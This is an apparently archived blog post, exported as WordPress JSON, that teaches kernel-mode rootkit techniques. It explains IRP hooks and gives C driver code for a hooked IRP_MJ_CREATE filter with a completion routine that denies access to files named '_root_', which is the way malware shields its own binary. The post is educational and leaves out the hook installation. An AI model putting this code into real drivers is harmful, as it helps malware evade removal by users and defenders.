{"id":222,"date":"2014-07-09T06:51:03","date_gmt":"2014-07-09T06:51:03","guid":{"rendered":"http:\/\/www.adlice.com\/?p=222"},"modified":"2022-12-21T10:39:49","modified_gmt":"2022-12-21T10:39:49","slug":"kernelmode-rootkits-part-2-irp-hooks","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/kernelmode-rootkits-part-2-irp-hooks\/","title":{"rendered":"KernelMode Rootkits: Part 2, IRP hooks"},"content":{"rendered":"\n

This is the second part of this series about Kernel Mode rootkits<\/strong>, I wanted to write on it and demonstrate how some rootkits (Ex: TDL4) do to hijack disk access<\/strong> by using IRP hooks.<\/p>\n\n\n\n

To understand the basics of kernelmode, drivers, please refer to the first part<\/strong><\/a>. This post is about a classic trick<\/strong>, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want \ud83d\ude42<\/p>\n\n\n\n


IRP (I\/O Request Packet)<\/h4>\n\n\n\n

An IRP is an object<\/a> used to communicate between all the different layers of a driver stack<\/a><\/strong>.<\/p>\n\n\n\n

Imagine that when you press a key on your keyboard the information isn’t sent directly to your screen to type the character. Between the time you pressed the key and the time it’s displayed on the screen, the information is passed through several drivers, each acting as an abstraction layer to simplify the information for the next level<\/strong>. It starts with an electrical information, and ends with a character. Then the applicative layer can interpret the character and send it down to the screen driver stack. The character is then transformed into a pixel with a color and a position.<\/p>\n\n\n\n

For each driver, there are some major functions that receive IRPs to process<\/strong> (for example, the disk driver stack can receive a disk read request). These major functions are hold in a table of pointers.<\/p>\n\n\n\n

Making of a hook in this table consist to replace the original pointer value of an entry (let’s take IRP_MJ_CREATE for the example) by the address of a function with the same prototype in any kernel mode loaded module.<\/strong> Usually, detouring an API is only made to filter the input parameters<\/strong> (and deny access if needed) and return the original pointer value at the end of the processing<\/strong>, to call the original function.
 
Any loaded module can then detour the execution flow of a major function to filter<\/strong> any attempt to access a particular file (in our example), and hide or deny access to it.
 
IRP hooks are used by malware to do multiple things, from keylogging to disk access filtering, …<\/strong>
 <\/p>\n\n\n\n

\"IRP<\/a>
IRP hook<\/figcaption><\/figure>\n\n\n\n


Practical case: Deny access to a file<\/h4>\n\n\n\n

Imagine you’re a malware writer, and you need to protect your binary file<\/strong>. You don’t want anyone to be able to remove your malware so you protect the file. Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only.<\/strong> Anyway, this is covered for decades on other websites…<\/p>\n\n\n\n

I’ll not show you how to hook the major function. I’ll just write the hooking filter function. We want to protect a file, so we will target the IRP_MJ_CREATE function<\/strong><\/a>, because it’s necessary to get a handle on a file before modify it. <\/strong> I haven’t told before, but as it’s kernel mode code, you’d need to code a driver.<\/a><\/p>\n\n\n\n

NTSTATUS HookedMjCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)\n{\n    PIO_STACK_LOCATION      irpStack;\n    ULONG                   ioTransferType;\n\n    \/\/ Get a pointer to the current location in the IRP. This is where\n    \/\/ the function codes and parameters are located.\n\n    irpStack = IoGetCurrentIrpStackLocation(Irp);\n    switch (irpStack-&gt;MajorFunction)\n    {\n        case IRP_MJ_CREATE:     \n            \n            ioTransferType = irpStack-&gt;Parameters.DeviceIoControl.IoControlCode;\n            ioTransferType &amp;= 3;\n            \n            \/\/ Filter only files containing _root_\n            if (irpStack-&gt;FileObject != NULL &amp;&amp; irpStack-&gt;FileObject-&gt;FileName.Length &gt; 0 &amp;&amp; wcsstr(irpStack-&gt;FileObject-&gt;FileName.Buffer, L\"_root_\") != NULL)\n            {           \n                DbgPrint(\"[HOOK] File: %ws\\n\", irpStack-&gt;FileObject-&gt;FileName.Buffer);\n            \n                \/\/ Need to know the method to find input buffer\n                if (ioTransferType == METHOD_BUFFERED)\n                {\n                    \/\/ Call our completion routine if IRP succeeds.\n                    \/\/ To do this, change the Control flags in the IRP.\n                    irpStack-&gt;Control = 0;\n                    irpStack-&gt;Control |= SL_INVOKE_ON_SUCCESS;\n\n                    \/\/ Save old completion routine if present\n                    irpStack-&gt;Context =(PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));\n                    ((PREQINFO)irpStack-&gt;Context)-&gt; OldCompletion = irpStack-&gt;CompletionRoutine;\n\n                    \/\/ Setup our function to be called\n                    \/\/ upon completion of the IRP\n                    irpStack-&gt;CompletionRoutine = (PIO_COMPLETION_ROUTINE) IoCompletionRoutine;\n                }\n            }\n            break;\n\n        default:\n            break;\n    }\n\n    \/\/ Call the original function\n    return OldIrpMj(DeviceObject, Irp);\n}\n\n\/\/ The CompletionRoutine is called only if we found a file to deny access\nNTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)\n{\n   PVOID OutputBuffer;\n   DWORD NumOutputBuffers;\n   PIO_COMPLETION_ROUTINE p_compRoutine;\n   DWORD i;\n\n   OutputBuffer     = Irp-&gt;UserBuffer;\n   p_compRoutine    = ((PREQINFO)Context)-&gt;OldCompletion;\n   DbgPrint (\"Completion routine reached! Deny access.\\n\");\n   ExFreePool(Context);\n\n   \/\/ We deny access by returning an ERROR code\n   Irp-&gt;IoStatus.Status = STATUS_NOT_FOUND;\n   \n   \/\/ Call next completion routine (if any)\n   if ((Irp-&gt;StackCount &gt; (ULONG)1) &amp;&amp; (p_compRoutine != NULL))\n      return (p_compRoutine)(DeviceObject, Irp, NULL);\n   else\n      return Irp-&gt;IoStatus.Status;\n}\n<\/code><\/pre>\n\n\n\n

The code is self explaining, fully commented.<\/strong>
If the filename contains the string “_root_”, we setup a completion routine for the current IRP. In the completion routine, we just modify the status returned with an error code.<\/strong><\/p>\n\n\n\n
This means each time we try to get a handle on a protected file, we have that error. No handle means no right for touching it (read, write, rename, …).
 <\/p>\n\n\n\n
\"debug<\/a>
debug output<\/figcaption><\/figure>\n\n\n\n
\"file<\/a>
file reading is denied<\/figcaption><\/figure>\n\n\n\n
\"file<\/a>
file renaming is denied<\/figcaption><\/figure>\n\n\n\n
A demo of the rootkit is available here: <\/strong><\/p>\n\n\n\n
\n